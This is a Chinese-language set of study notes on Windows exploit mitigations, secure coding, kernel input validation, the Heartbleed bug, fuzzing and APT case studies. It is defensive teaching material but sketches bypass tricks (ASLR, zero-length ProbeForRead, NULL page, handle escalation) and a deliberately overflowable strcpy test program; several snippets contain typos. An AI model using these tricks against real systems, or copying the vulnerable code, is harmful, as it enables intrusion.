系統(tǒng)有效 - DEP在optin和optout下可以動(dòng)態(tài)開啟和關(guān)閉
- ROP用來(lái)對(duì)抗DEP
地址隨機(jī)化ASLR
- ASLR(Address, Space L ayout Randomization)
- 需編譯器和操作系統(tǒng)雙重支持
- 在編譯選項(xiàng)加上
/dynamicbase
打開 - 映像隨機(jī)化,堆棧隨機(jī)化,PEB、TEB隨機(jī)化
- 開啟地址隨機(jī)化之后,
JMP ESP
這種跳板指令的地址就不好確定了
- ASLR攻擊
- 一般通過(guò)
HEAP SPRAY
+OOB
漏洞可以在E瀏覽器中輕易的實(shí)現(xiàn)繞過(guò)
ASLR的保護(hù)
- 一般通過(guò)
SEHOP
- SWHOP(Structured ExceptionHandling Overwrite Protection)的核心任務(wù)就是檢查這條S.E.H鏈的
完整性
,在程序轉(zhuǎn)入異常處理前SEHOP會(huì)檢查S.E.H鏈上最后一個(gè)異常處理函數(shù)是否為系統(tǒng)固定的終極異常處理函數(shù)。- 如果是,則說(shuō)明這條S.E.H鏈沒有被破壞,程序可以去執(zhí)行當(dāng)前的異常處理函數(shù);
- 如果檢測(cè)到最后一個(gè)異常處理函數(shù)不是終極異常處理函數(shù),則說(shuō)明SE:H鏈被破壞,可能發(fā)生了S.E.H覆蓋攻擊,程序?qū)⒉粫?huì)去執(zhí)行當(dāng)前的異常處理函數(shù)。
- 打開SEHOP:
- SEHOP 在 Windows Ser ver 2008 默認(rèn)啟用,而在 Windows Vista 和 Windows 7 中 SEHOP默認(rèn)是關(guān)閉的??梢酝ㄟ^(guò)以下兩種方法啟用 SEHOP。
- 1.下載 http://go.microsoft.com/?linkid=9646972 的補(bǔ)丁,此補(bǔ)丁適用于 Windows 7和Windows Vista SP1。
?- 2.手工在注冊(cè)表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
下面找到DisableExceptionChainValidation項(xiàng), 將該值設(shè)置為 0,即可啟用 SEHOP。
- 1.下載 http://go.microsoft.com/?linkid=9646972 的補(bǔ)丁,此補(bǔ)丁適用于 Windows 7和Windows Vista SP1。
堆保護(hù)
- PEB基址: 0x7ffdf000,PEB random,xp sp2后,隨機(jī)化。避免了DWORD shoot修改PEB中的函數(shù)指針
//unsafe unlink:
int remove(ListNode *node)
{
node->blink->flink = node->flink;
node->flink->blink = node->blink;
return 0;
}
//safe unlink:
int safe_unlink(ListNode *node)的
{
if(node->blink->flink==node&&node->flink->blink==node) //判斷fp和bp指針是否被覆蓋,如果發(fā)生了堆溢出,fp和bp是被覆蓋的
{
node->blink->flink = node->flink
node->flink->blink = node->blink;
return 1;
}
else
{
return 0;
}
}
程序員安全編碼習(xí)慣
安全函數(shù)
- 不使用:strcat、strcpy、sprintf
- windows推薦使用:strncat、strncpy、snprintf,
- linux推薦使用:strcpy_s、strcat_s
/// 注意安全函數(shù)的傳入的長(zhǎng)度
strncpy(dst,src,len);//strlen
//1. dst>src:strlen(src) 讀多了,造成讀溢出
//2. dst==src:strlen(src)
//3. dst<src:strlen(dst)-sizeof(char) //預(yù)留一個(gè)'\0'的位置,寫多了,造成寫溢出
下表概述了可以在內(nèi)核驅(qū)動(dòng)中使用的安全字符串函數(shù),并指明了它們用來(lái)何種類型的c/c++運(yùn)行庫(kù)函數(shù)。
說(shuō)明:函數(shù)名含有Cb的是以字節(jié)數(shù)為單位,含有Cch的是以字符數(shù)為單位。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-457117.html
函數(shù)名 | 作用 | 取代 |
---|---|---|
RtlStringCbCat RtlStringCbCatEx RtlStringCchCat RtlStringCchCatEx | 將源字符串連接到目的字符串的末尾 | strcat wcscat |
RtlStringCbCatN RtlStringCbCatNEx RtlStringCchCatN RtlStringCchCatNEx | 將源字符串指定數(shù)目的字符連接到目的字符串的末尾 | strncat wcsncat |
RtlStringCbCopy RtlStringCbCopyEx RtlStringCchCopy RtlStringCchCopyEx | 將源字符串拷貝到目的字符串 | strcpy wcscpy |
RtlStringCbCopyN RtlStringCbCopyNEx RtlStringCchCopyN RtlStringCchCopyNEx | 將源字符串指定數(shù)目的字符拷貝到目的字符串 | strncpy wcsncpy |
RtlStringCbLength RtlStringCchLength | 確定字符串的長(zhǎng)度 | strlen wcslen |
RtlStringCbPrintf RtlStringCbPrintfEx RtlStringCchPrintf RtlStringCchPrintfEx | 格式化輸出 | sprintf swprintf _snprintf _snwprintf |
RtlStringCbVPrintf RtlStringCbVPrintfEx RtlStringCchVPrintf RtlStringCchVPrintfEx | 可變格式化輸出 | vsprintf vswprintf _vsnprintf _vsnwprintf |
各個(gè)函數(shù)的作用可以通過(guò)它所取代的 |
輸入?yún)?shù)嚴(yán)格檢查
- 長(zhǎng)度,邊界(數(shù)的溢出)和正負(fù)的檢查
- 類型的檢查
- NULL指針的檢查
- 不要返回局部變量的指針和引用
數(shù)組首地址的區(qū)別
- 數(shù)組作為參數(shù)會(huì)退化成指針
- c[]數(shù)組首地址和&c都是數(shù)組
char c[] = "12345678";
的首地址,值相同,但類型不同- c:
char *const c
(常量指針),寬度不同,比如c+1就是+1個(gè)sizeof(char),即1個(gè)byte - &c:
char (*c)[9]
,&c+1就是+sizeof(char(*)[9]
),即9個(gè)byte
- c:
- 同理:char c2[9][9] ,c2和&2是數(shù)組的首地址,值相同,但類型不同
- c:
char *const (*c2)[9]
(常量指針),寬度不同,比如c2+1就是+1個(gè)sizeof(char(*)[9]
),即9個(gè)byte - &c:
char (*c2)[9]
,&c2+1就是+sizeof(char(*)[9][9]
),即81個(gè)byte
- c:
///引用是C++的語(yǔ)法,gcc是編譯通不過(guò)的,g++可以通過(guò)編譯。
/// 傳指針
void fun(char c[]) //數(shù)組作為參數(shù)在函數(shù)內(nèi)部會(huì)退化成指針
{
printf("%d\n",sizeof(c));
}
///傳引用,引用就是實(shí)參的本身,形參c是實(shí)參*c的別名,是對(duì)字符'1'的引用
void fun2(char &c)
{
printf("%d\n",sizeof(c));
}
/// 傳數(shù)組的引用,長(zhǎng)度為9的字符數(shù)組的引用,就是實(shí)參c的本身
void fun3(char(&c)[9]) /// 如果傳入c[]="1234567",就會(huì)類型不匹配導(dǎo)致編譯報(bào)錯(cuò),這個(gè)類型檢查時(shí)在編譯階段進(jìn)行的,這有什么用呢?可以在編譯階段就檢查出溢出風(fēng)險(xiǎn)。這是最好的結(jié)果。
{
printf("%d\n",sizeof(c));
//for(int i = 0;i<10:i++)
//{
// ptintf("%d\n",c[i]); //c[9]就會(huì)發(fā)生溢出
//}
}
int main()
{
char c[] = "12345678";
printf("%d\n",sizeof(c)); //打印是9
fun(c); //打印是4
fun2(*c); //c是常量指針,*c是指第一個(gè)元素的值,即'1',所以打印的是1
fun3(c); //打印是9
return 0;
}
不要返回局部變量的指針和引用
- 傳值不能改變實(shí)參,傳指針和傳引用才能改變實(shí)參
- 傳
指針
和傳引用``效率
比傳值要高
。因?yàn)閭髦羔樅蛡饕枚贾皇前?code>地址傳遞給函數(shù),這個(gè)過(guò)程,只涉及到4
個(gè)(8
個(gè),X64)字節(jié)的傳輸。傳值,會(huì)隨著實(shí)參的類型不同,有時(shí)候不止
傳遞或者拷貝4個(gè)字節(jié)。(比如內(nèi)核的結(jié)構(gòu)體
可以達(dá)到上千個(gè)Byte,對(duì)于C++對(duì)象
如果是傳值
的話不止時(shí)值的拷貝,還有一個(gè)構(gòu)造函數(shù)
的性能消耗,所以有時(shí)候不需要修改
形參的值也是需要傳指針
或者傳引用
) - 傳
引用
比傳指針
更安全
- 因?yàn)橐靡坏┏跏蓟?,就固定了,不能改?
- 傳引用比傳指針
簡(jiǎn)單
。寫起來(lái)簡(jiǎn)單 - 傳引用既有傳指針的高效,又有傳指針的安全,又有傳值的方便。
///要分清以下這些概念,判斷標(biāo)準(zhǔn)是以實(shí)參為準(zhǔn),即在調(diào)用時(shí)候關(guān)注傳入實(shí)參的格式,不要被調(diào)用的函數(shù)定義的形參格式混淆了
//傳值:形參對(duì)實(shí)參值的一個(gè)拷貝,形參和實(shí)參是不相關(guān)的。無(wú)法通過(guò)改變形參來(lái)改變實(shí)參。
//傳指針:形參是對(duì)實(shí)參地址的一個(gè)拷貝,通過(guò)地址可以實(shí)現(xiàn)對(duì)實(shí)參的修改
//傳引用:形參是對(duì)實(shí)參(本身)的一個(gè)引用(別名)
//傳指針的指針:void func1 (char **p)
//傳指針的引用:void func2(char *&p)
/// 返回指針,是局部變量的地址,能通過(guò)編譯,但程序執(zhí)行會(huì)出問(wèn)題
char* func(void) //err
{
char c = 'x';
return &c; //返回一個(gè)地址,變量c是存放在棧上的局部變量區(qū)域,函數(shù)結(jié)束后棧就被銷毀了,函數(shù)外再通過(guò)返回的地址去訪問(wèn)被銷毀的內(nèi)存就是無(wú)效內(nèi)存
}
/// 返回引用,是局部變量的地址,能通過(guò)編譯,但程序執(zhí)行會(huì)出問(wèn)題
char &func(void) //err
{
char c = 'x';
return c; //返回一個(gè)地址,變量c是存放在棧上的局部變量區(qū)域,函數(shù)結(jié)束后棧就被銷毀了,函數(shù)外再通過(guò)返回的地址去訪問(wèn)被銷毀的內(nèi)存就是無(wú)效內(nèi)存
}
/// 返回值,是局部變量的值
char func(void) //ok
{
char c='x';
return c; //返回值,存在一個(gè)拷貝過(guò)程,把c的值拷貝出去了,值已經(jīng)拿到了,即使函數(shù)結(jié)束后棧就被銷毀了也沒有影響
}
/// 返回一個(gè)指針,但是是堆上的地址,這樣雖然可以但很可能忘記釋放導(dǎo)致堆上的內(nèi)存泄漏,一定要使用的話,要使用智能指針或者引用計(jì)數(shù)
char *func(void) //ok
{
char *c = (char *)malloc(100); //堆上的內(nèi)存不會(huì)隨著函數(shù)的結(jié)束而銷毀,這里是沒問(wèn)題的
}
類型檢查
- C++內(nèi)置的運(yùn)行時(shí)類型檢查機(jī)制RTTI (Run-Time Type Information) ,RTTI允許使用兩個(gè)操作符:
typeid
與dynamic_cast
。- 用RTTI解決上述問(wèn)題的第一種方法是使用
typeid
,它返回一個(gè)對(duì)type_ info對(duì)象的引用
,其保存了傳遞進(jìn)來(lái)
的對(duì)象類型信息
。 -
dynamic_cast
,如果你傳遞給它一個(gè)所不期望類型的指針,它將返回0。
- 用RTTI解決上述問(wèn)題的第一種方法是使用
class Animal {public: virtual~Animal(){}};
class Dog : public Animal{};
class Cat : public Animal{};
//方式1:使用typeid來(lái)進(jìn)行類型檢查
const type_info& ti = typeid(*pAnimal);
if(ti == typeid(Dog))
{}
else if(ti == typeid(Cat)
{}
//方式2:使用dynamic_cast來(lái)進(jìn)行類型檢查
if(dynamic_cast<Dog*>(pAnimal))
{}
else if(dynamic_cast<Cat*>(pAnimal))
{}
留心長(zhǎng)度為 0 的緩存、為 NULL 的緩存指針和緩存對(duì)齊
- a.長(zhǎng)度為 0:
內(nèi)存校驗(yàn)函數(shù)ProbeForRead
和ProbeForWrite
函數(shù)當(dāng) ProbeForXXX 的參數(shù)Length
為0
時(shí), 這兩個(gè)函數(shù)都不會(huì)做任何工作,連微軟都犯過(guò)錯(cuò)。-
- 使當(dāng)你 ProbeForRead 驗(yàn)證了參數(shù),一樣要當(dāng)心 Length 為 0 時(shí)的情況常見錯(cuò)誤:
當(dāng) Len=0 時(shí),這樣的函數(shù)會(huì)導(dǎo)致系統(tǒng)崩潰。
- 使當(dāng)你 ProbeForRead 驗(yàn)證了參數(shù),一樣要當(dāng)心 Length 為 0 時(shí)的情況常見錯(cuò)誤:
-
__try{
/// (內(nèi)存地址,長(zhǎng)度,對(duì)齊方式)
/// @warning 如果攻擊者傳一個(gè)內(nèi)核態(tài)的地址下來(lái),同時(shí)將len設(shè)為0,
/// 就會(huì)輕易地繞開函數(shù)的檢查,我們?cè)O(shè)置的保護(hù)就不起作用了
ProbeForRead(Str1,Len,sizeof(WCHAR));
if(wcsnicmp(Str1,Str2,wcslen(Str2)) {
....
}
}
__except(EXECUTE_HANDLER_EXCEPTION) { ....
}
-
- 需要注意,對(duì)于長(zhǎng)度為
0
的緩存
不能隨意放行, 因?yàn)橄到y(tǒng)可能接受長(zhǎng)度為 0 的緩存參數(shù)做特殊用途
, 比如: 對(duì)于 ObjectAttributes->ObjectName (內(nèi)核對(duì)象的名字)的 Length, 如果為0
, 系統(tǒng)會(huì)以對(duì)應(yīng)的參數(shù)
打開 ObjectAttributes->RootDirectory 的句柄(即是接受長(zhǎng)度為0的情況的), 攻擊者可以先以低權(quán)限
(比如只能讀不能寫)得到一個(gè)受保護(hù)
對(duì)象的句柄(比如可寫可讀),再以長(zhǎng)度為 0 的緩存,將句柄填入RootDirectory
來(lái)獲取高權(quán)限的句柄(先把只讀
的句柄填入RootDirectory,再重新調(diào)用一個(gè)函數(shù),把長(zhǎng)度為 0 設(shè)為零,系統(tǒng)就會(huì)去打開RootDirectory,這時(shí)候被修改的RootDirectory句柄可能就是可讀寫
的句柄了)。造成提權(quán)漏洞
- 需要注意,對(duì)于長(zhǎng)度為
- b.緩存指針為空:
不要使用諸如下面的代碼來(lái)判斷用戶態(tài)參數(shù):
/// @warnig buffer==NULL 并不能代表是個(gè)無(wú)效內(nèi)存
/// Windows操作系統(tǒng)是允許用戶態(tài)申請(qǐng)一個(gè)地址為0的內(nèi)存的,攻擊者可以利用這個(gè)特性來(lái)繞過(guò)檢查和保護(hù)。
/// win8及以上版本系統(tǒng)微軟已經(jīng)封殺了這個(gè)漏洞
if (UserBuffer == NULL)
{
goto pass_request;
}
- c.緩存對(duì)齊的問(wèn)題:
ProbeForRead 的第三個(gè)參數(shù) Alig 即對(duì)齊, 如果沒有正確地傳遞這個(gè)函數(shù), 也會(huì)導(dǎo)致問(wèn)題,例如對(duì)于 ObjectAttributes ,系統(tǒng)默認(rèn)按 1 來(lái)對(duì)齊,如果在對(duì)其參數(shù)處理中使用 sizeof(ULONG)來(lái)對(duì)齊,就會(huì)對(duì)本來(lái)可以使用的參數(shù)引發(fā)異常,繞過(guò)保護(hù)或檢查。
長(zhǎng)度校驗(yàn)的例子:心臟流血漏洞
- 該漏洞主要是內(nèi)存泄露問(wèn)題,而根本上是因?yàn)?code>OpenSSL(開源網(wǎng)絡(luò)加密協(xié)議,電商,銀行都在使用)服務(wù)端在處理
心跳請(qǐng)求包
(tcp為了保持連接狀態(tài),有個(gè)心跳協(xié)議,定時(shí)發(fā)送一個(gè)數(shù)據(jù)包,判斷是否回復(fù),來(lái)判斷是否掉線)時(shí),沒有
對(duì)客戶端發(fā)送過(guò)來(lái)的length字段(占2byte,可以標(biāo)識(shí)的數(shù)據(jù)長(zhǎng)度為64KB)做合規(guī)檢測(cè)
。 - 當(dāng)服務(wù)器端生成
心跳響應(yīng)包
發(fā)送給客戶端時(shí),直接
用了客戶端發(fā)送過(guò)來(lái)的length
,將服務(wù)端棧上大于
實(shí)際長(zhǎng)度的數(shù)據(jù)(棧上的數(shù)據(jù)很可能是解密后的結(jié)果,把這些數(shù)據(jù)存儲(chǔ)起來(lái)進(jìn)行數(shù)據(jù)挖掘分析,提取出用戶名和密碼等)發(fā)送給了客戶端。
///服務(wù)端
unsigned char *p = &s->s3->rfec.data[0]; //(心跳類型(1Byte) +心跳長(zhǎng)度(2Byte) +數(shù)據(jù))
hbtype = *p++; //第一個(gè)字節(jié)是心跳類型,由于運(yùn)算符【*】的優(yōu)先級(jí)高于運(yùn)算符【++】,所以是先取指針p指向的地址單元的數(shù)據(jù),p再指向下一位置的數(shù)據(jù)。
n2s(p,payload); //n2s(net to short)把網(wǎng)絡(luò)字節(jié)序轉(zhuǎn)換成本地字節(jié)序,p指向第二、三個(gè)字節(jié)是客戶端要求服務(wù)器端返回?cái)?shù)據(jù)的字節(jié)數(shù),轉(zhuǎn)化后存在payload,這個(gè)沒有檢查長(zhǎng)度有效性
pl =p; //此處是回傳數(shù)據(jù)(發(fā)給客戶端的)的起始位置(心跳類型(1Byte) +心跳長(zhǎng)度(2Byte)+數(shù)據(jù))
buffer =OPENSSL_ malloc(1 + 2 + payload+ padding);//分配回傳的內(nèi)存,客戶端要求服務(wù)器端返回?cái)?shù)據(jù)的字節(jié)數(shù)payload,沒有檢查長(zhǎng)度有效性,直接為其分配這么palyload這么大的內(nèi)存
bp = buffer;//bp指向分配的回傳內(nèi)存
*bp++ = TLS1_HB_ESPONSE,//回傳的buffer第1個(gè)字節(jié)設(shè)置心跳類型response
s2n(payload, bp); //s2n(short to net)把本地字節(jié)序轉(zhuǎn)換成網(wǎng)絡(luò)字節(jié)序,回傳的字節(jié)數(shù),沒做任何檢查,直接返回payload
memcpy(bp,pl,payload); //內(nèi)存泄露,數(shù)據(jù)泄露了payload被客戶端故意傳了個(gè)最大值64K
bp += payload;
Fuzz漏洞挖掘
-
Fuzz
這個(gè)名詞來(lái)自于Professor Barton Miller。在1989年一個(gè)風(fēng)雨交加的夜晚,他登陸一臺(tái)自己的主機(jī),不知道怎么回事,信旁通過(guò)貓傳到主機(jī)上,雷電一閃,把里面的高位變低位,低位至高位了,結(jié)果到了主機(jī)以后改變了。他突發(fā)奇想,把這種方式作為一種測(cè)試的方式來(lái)做。 - 用大量的測(cè)試用例一個(gè)一個(gè)試(產(chǎn)生大量
畸形
數(shù)據(jù)觸發(fā)溢出
就會(huì)導(dǎo)致程序奔潰,F(xiàn)uzz工具記錄下這些出現(xiàn)奔潰位置),盡可能多的找出有可能出問(wèn)題的地方。 - 現(xiàn)在有無(wú)數(shù)有名的Fuzz工具,有很多人很多還在寫,一般包括
四
個(gè)部分。- 1.Generate lots of malformed data as test cases,要生成大量的測(cè)試用例。這個(gè)測(cè)試用例是
malformed
的,一個(gè)軟件首先要找到輸入點(diǎn)
,然后把數(shù)據(jù)丟進(jìn)去
,這個(gè)數(shù)據(jù)有可能是一個(gè)文件
,有可能是一個(gè)數(shù)據(jù)包
,有可能是測(cè)試表
里面的一個(gè)項(xiàng),有可能是臨時(shí)文件
里面的一個(gè)東西,總之是一種數(shù)據(jù),要定義malformed這種非正常的數(shù)據(jù). - 2.Drop the test cases into product,把它丟進(jìn)去,看這個(gè)產(chǎn)品怎么反應(yīng)。
- 3.Monitor and log any crash/exception triggered by malicious input. 把異常記錄下來(lái)
- 4.Review the test log, investigated deeply.
- 1.Generate lots of malformed data as test cases,要生成大量的測(cè)試用例。這個(gè)測(cè)試用例是
- 測(cè)試人員需要實(shí)時(shí)地捕捉目標(biāo)程序拋出的異常、發(fā)生的崩潰和寄存器等信息,綜合判斷這些錯(cuò)誤是不是真正的可利用漏洞。
漏洞挖掘流程
- Fuzz工具崩潰程序
- 調(diào)試分析異常和崩潰位置(windbg,ollydbg,ida,匯編代碼)
- 匹配漏洞的類型
- Exploit it.
- Poc 代碼發(fā)布
Fuzz工具分類
- Active X Fuzz:Com Raidor
- Fuzz網(wǎng)絡(luò)協(xié)議:SPIKE
- 文件類型漏洞:Smart Fuzz工具-peach
- 文件類型漏洞:blindFuz工具-filefuzz
- Ftp Fuzz:FTPFUZZ
- 內(nèi)核漏洞:ToControl Fuzz-
ioctl _fuzzer
- ToControl Fuzz-
ioctl _fuzzer
-MITM
- Man-in-the-MiddleAttack,所謂的
MITM
攻擊就是通過(guò)攔截正常的通信數(shù)據(jù)。并進(jìn)行數(shù)據(jù)篡改和嗅探,而通信的雙方卻毫不知情。 - 通過(guò)hook
DeviceIocontrol
來(lái)實(shí)現(xiàn)的 - XLM配置Fuzz的驅(qū)動(dòng)名字,設(shè)備對(duì)象,控制碼,進(jìn)程等
- Man-in-the-MiddleAttack,所謂的
- Digtool&bochspwn-基于硬件虛擬化
-
Bochspwn
被認(rèn)為是Gogle P0團(tuán)隊(duì)(Project Zero)的內(nèi)核零日漏洞挖掘神器。和其它輔助分析工具相比,Bochspwn在操作系統(tǒng)下層(VT)監(jiān)聽內(nèi)存變化,能發(fā)現(xiàn)更全面的錯(cuò)誤異常信息(操作系統(tǒng)出現(xiàn)異常都會(huì)被VT捕獲),因此也更容易找到漏洞。 - 在Bochspwn之后,業(yè)內(nèi)其它團(tuán)隊(duì)也有嘗試開發(fā)基于虛擬化技術(shù)的Windows內(nèi)核漏洞挖掘工具,不過(guò)有成效的不多一360冰刃實(shí)驗(yàn)室的
DigTool
算是里邊的佼佼者。DigTool利用硬件虛擬化技術(shù)監(jiān)控內(nèi)存錯(cuò)誤數(shù)據(jù)了在功能驗(yàn)證階段已經(jīng)找出20個(gè)Windows內(nèi)核漏洞、41個(gè)殺毒廠商驅(qū)動(dòng)漏洞。 -
Digtool
是第一款利用硬件虛擬化技術(shù)的實(shí)用化自動(dòng)漏洞挖掘系統(tǒng)也是款”黑盒漏洞挖掘系統(tǒng),不需要基于源碼即可完成漏洞挖掘更驚艷的一點(diǎn)是,Digtool以實(shí)現(xiàn)自動(dòng)化、批量化工作,可能只需要跑一局游戲,十幾個(gè)漏洞就挖到了
。 - Digtool的工作流程就像
挖沙淘金
一樣: - 首先,Digtool可以記錄內(nèi)存訪問(wèn)這就實(shí)現(xiàn)了第1步
挖沙
的過(guò)程;進(jìn)而,,Digtool的分析模塊進(jìn)行分析,一旦符合主要的六種漏洞行為特征規(guī)則,便實(shí)現(xiàn)了一次淘金
,也就意味著找到一個(gè)漏洞。 - PJF搭建了Digtool系統(tǒng)的虛擬化挖掘框架,這也是Digtool最具技術(shù)含量的部分,相當(dāng)于整個(gè)系統(tǒng)的基石。其虛擬機(jī)監(jiān)控器原理類似于當(dāng)前主流的云服務(wù)基礎(chǔ)虛擬化框架(如EN/Hyperv等);并不依賴它們,而是一個(gè)新的虛擬化基礎(chǔ)框架。
- 在最近的Blackhat演講中,Google project zero的成員j00ru就引用了冰刃實(shí)驗(yàn)室Digtool自動(dòng)化挖掘Windows內(nèi)核信息泄漏漏洞的方法。
- 《windows Internals》的作者之Alex Ionescu也稱贊這是一 個(gè)"很棒的項(xiàng)目”。冰刃實(shí)驗(yàn)室與j00ru用了不同的技巧都挖掘到了大量的windows內(nèi)核信息泄露漏洞,但冰刃買驗(yàn)室的igtool速度更快,對(duì)于系統(tǒng)的性能損失更小,同時(shí)檢測(cè)漏洞種類也更全面Windows內(nèi)核漏洞挖掘有了質(zhì)的飛躍。以往的人工挖掘耗時(shí)耗研究員需要一行一行分析代碼,Digtool系統(tǒng)大大提高了漏洞挖掘的自動(dòng)化程度,改變了漏洞挖掘的運(yùn)作模式,同時(shí)也提高了速度和精準(zhǔn)度,能夠在第一現(xiàn)場(chǎng)發(fā)現(xiàn)漏洞。
- POC還得自己寫
-
FUZZ原理小例子
/// 編譯對(duì)應(yīng)的程序test.exe
void func(char *str)
{
char buff[10];
strepy(buff,str);
}
int main(int argc,char *argv[])
func(argv[1]);
return 0;
}
/// Fuzz程序
int main(int argc,char *argv[])
{
char cmdbuff[2048]={0};
char *test_buff = NULL;
for(int i=1;i<1024;i++)
{
testbuff = new char[];
memset(test_buif,0,i);
memset(test_buf,'c',i-1);
sprintf(cmdbuff,"%S %S","test.exe",tes_tbuf);
system(cmdbuff);
delete test_buff;
}
return 0;
}
//test.exe "c";
//test.exe,"cc";
//test.exe,"ccc";
//...
//test.exe "ccccccccc...c";
//當(dāng)test_buff超過(guò)10個(gè)Byte,test.exe很可能就會(huì)奔潰,這時(shí)候用調(diào)試工具調(diào)試test.exe,很容易定位到test.exe奔潰的位置
ATP高級(jí)持續(xù)性威脅
APT攻擊
- 高級(jí)持續(xù)性威脅(Advanced Persistent Threat,ART)攻擊
- APT不是一種新的攻擊手法,而是對(duì)各種攻擊方法的綜合
使用
- 對(duì)象:不是針對(duì)普通個(gè)人,而是價(jià)值很高的公眾人物,或者國(guó)家。
- 持續(xù)性:攻擊者為了重要的目標(biāo)長(zhǎng)時(shí)間持續(xù)攻擊直到攻破為止。攻擊成功用上一年到三年,攻擊成功后持續(xù)潛伏五年到十年的案例都有。
- 攻擊完全處于動(dòng)態(tài)發(fā)展之中,系統(tǒng)不斷有新的漏洞被發(fā)現(xiàn),防御體系也會(huì)存在一定的空窗期:比如設(shè)備升級(jí)、應(yīng)用需要的兼容性測(cè)試環(huán)境等等,最終導(dǎo)致系統(tǒng)的失守文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-457117.html
-
ATP社工
- 攻擊者為了讓被攻擊者更容易信任,往往會(huì)先從被攻擊者容易信任的對(duì)象著手,比如攻擊一個(gè)被攻擊者的小白好友或家人,或者被攻擊者使用的內(nèi)部論壇,通過(guò)他們的身份再對(duì)被攻擊者發(fā)起0DAY攻擊。
- 再利用組織內(nèi)的已被攻擊成功的身份再去滲透攻擊他的上級(jí),常逐步拿到對(duì)核心資產(chǎn)有訪問(wèn)權(quán)限的目標(biāo)。
- 廣譜信息收集:攻擊者會(huì)花上很長(zhǎng)的時(shí)間和資源,依靠互聯(lián)網(wǎng)搜集,主動(dòng)掃描,甚至真實(shí)物理訪問(wèn)方式,收集被攻擊目標(biāo)的信息,主要包括:組織架構(gòu),人際關(guān)系,常用軟件。常用防御策略與產(chǎn)品,內(nèi)部網(wǎng)絡(luò)部署等信息
-
APT攻擊的成本與目標(biāo)
- APT攻擊的成本很高(專業(yè)的團(tuán)隊(duì),長(zhǎng)期的信息收集,挖掘0DAY和利用(美國(guó)安全局組織0day比賽也是為了收集0day)等),因此只適合專業(yè)的網(wǎng)絡(luò)犯罪團(tuán)悉伙或有組織和國(guó)家支持的特種攻擊團(tuán)隊(duì)
- 因此APT攻擊是針對(duì)有重要價(jià)值資產(chǎn)或重要戰(zhàn)略意義的目標(biāo),一般軍工、能源水金融、軍事、政府、重要高科技企業(yè)(GOOGLE等)明星,政客等最容易遭APT攻擊。
- 雖然普通網(wǎng)民不會(huì)遭受APT攻擊的眷顧,但是如果你是”APT攻擊目標(biāo)組織的一名普通員工,甚至只是與攻擊目標(biāo)組織里的一名普通員工是好友或親戚關(guān)系,你依然可能成為APT攻擊的中間跳板,當(dāng)然作為普通個(gè)人,APT攻擊本身不會(huì)竊走你個(gè)人什么東西(你本身就是重要人物或個(gè)人主機(jī)里保存有重要資料的除外)。
-
物理隔絕對(duì)APT可能無(wú)效
- 物理隔離也不能避免遭受APT攻擊,因?yàn)榧词刮锢碜柚沽司W(wǎng)絡(luò)層信息流,也阻正不了邏輯上的信息流。
- 震網(wǎng)利用7個(gè)0DAY和擺渡成功滲透進(jìn)了伊朗核設(shè)施級(jí)的物理隔離網(wǎng)絡(luò)。
- 擺渡攻擊是一種專門針對(duì)移動(dòng)存儲(chǔ)設(shè)備,從與互聯(lián)網(wǎng)物理隔離的內(nèi)部網(wǎng)絡(luò)中竊取文件資料的信息攻擊手段。簡(jiǎn)單地說(shuō),擺渡攻擊就是利用u盤作為“渡船”,達(dá)到間接從內(nèi)網(wǎng)中秘密竊取文件資料的目的。(U盤叉插內(nèi)網(wǎng),又插外網(wǎng))
-
攻擊手段
- APT攻擊案例-極光攻擊
- 針對(duì)GOOGLE等三十多個(gè)高科技公司。攻擊者通過(guò)FACEBOOK上的好友分析,鎖定了GOOGLE公司的一個(gè)員工和他的一個(gè)喜歡攝影的電腦小白好友。攻擊者入侵并控制了電腦小白好友的機(jī)器,然后偽造了一個(gè)照片服務(wù)器,上面放置了IE的ODAY攻擊代碼,以電腦小白的身份給GOOGL E員工發(fā)送IM消息邀請(qǐng)他來(lái)看最新的照片,小其實(shí)URL指向了這個(gè)IE ODAY的頁(yè)面。GOOGLE的員工相信之后打開了這個(gè)頁(yè)面然后中招,攻擊者利用GOOGLE這個(gè)員工的身份在內(nèi)網(wǎng)內(nèi)持續(xù)滲透,直到獲得了GMAIL系統(tǒng)中很多敏感用戶的訪問(wèn)權(quán)限。竊取了MAIL系統(tǒng)中的敏感信息后,攻擊者通過(guò)合法加密信道將數(shù)據(jù)傳出。事后調(diào)查,不止是GOOGLE中招了,三十多家美國(guó)高科技公司都被總這一APT攻擊搞定,甚至包括賽門鐵克這樣牛比的安全廠商
- APT攻擊案例-對(duì)RSA竊取SECURID令牌種子
- 攻擊者首先搞定了RSA-個(gè)外地的小分支機(jī)構(gòu)人員的郵箱或主機(jī),然后以這個(gè)人員的身份,向RSA的財(cái)務(wù),主管發(fā)了一封財(cái)務(wù)預(yù)算的郵件請(qǐng)求RSA的財(cái)務(wù)主管進(jìn)行審核,內(nèi)部附屬了一個(gè)EXCEL的附件,但是里面嵌入了一個(gè)FLASH的0DAY利用代碼。RSA的財(cái)務(wù)主管認(rèn)為可信并是自己的工作職責(zé),因此打開了這個(gè)EXCEL附件,于是攻擊者成功控制了RSA的財(cái)務(wù)主管。再利用RSA的財(cái)務(wù)主管的身份逐步滲透,最后竊取走了SECURID令牌種子,通過(guò)IE的代理傳回給控制者,RSA發(fā)現(xiàn)被入侵后-一直不承認(rèn)SECURID令牌種子也被竊取走,直到攻擊者利用竊取的SECURID:令牌種子攻擊了多個(gè)美國(guó)軍工企業(yè)RSA才承認(rèn)SECURID令牌種子被偷走。
- APT攻擊案例-震網(wǎng)攻擊stuxnet
- 伊朗核電站是個(gè)物理隔離的網(wǎng)絡(luò),因此攻擊者首先獲得了一些核電站工作人員和其家庭成員的信息,針對(duì)這些家庭成員的主機(jī)發(fā)起了攻擊,成功控制了這些家庭用的主機(jī),然后利用4個(gè)WINDOWS的0DAY漏洞,可以感染所有接入的USB移動(dòng)介質(zhì)以及通過(guò)USB移動(dòng)介質(zhì)可以攻擊接入的主機(jī)。終于靠這種擺渡攻擊滲透進(jìn)了防護(hù)森嚴(yán)物理隔離的伊朗核電站內(nèi)部網(wǎng)絡(luò),最后再利用了3個(gè)西門子的0DAY漏洞,成功控制了控制離心機(jī)的控制系統(tǒng),修改了離心機(jī)參數(shù),讓其發(fā)電正常但生產(chǎn)不出制造核武器的物質(zhì),但在人工檢測(cè)顯示端顯示一切正常。成功的將伊朗制造核武器的進(jìn)程拖后了幾年。
